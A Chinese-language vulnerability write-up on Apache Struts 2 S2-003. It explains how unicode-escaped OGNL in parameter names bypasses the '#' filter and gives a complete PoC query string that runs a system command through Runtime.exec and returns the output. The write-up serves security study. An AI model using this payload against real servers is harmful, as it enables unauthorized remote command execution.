Struts 2 漏洞专题 | S2-003
作者:互联网
漏洞简介
OGNL除其他功能外,还提供了广泛的表达式评估功能(http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html)。 该漏洞使恶意用户可以绕过ParametersInterceptor内置的'#'使用保护,从而能够操纵服务器端上下文对象。
因此,例如,要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:
('\ u0023'+'session 'user '')(未使用)= 0wn3d
网址编码后,其外观如下所示:
('\ u0023'%20%2b%20'session 'user '')(未使用)= 0wn3d
通俗的讲:Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。
影响版本
Struts 2.0.0 - Struts 2.1.8.1
漏洞复现
环境准备
Windows 7 64bit(内含XAMPP)
POC
//URL后接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
结果截图
标签:u0023myres,S2,Struts,u003d,003,session,u0023,bla 来源: https://www.cnblogs.com/Feng-L/p/13630646.html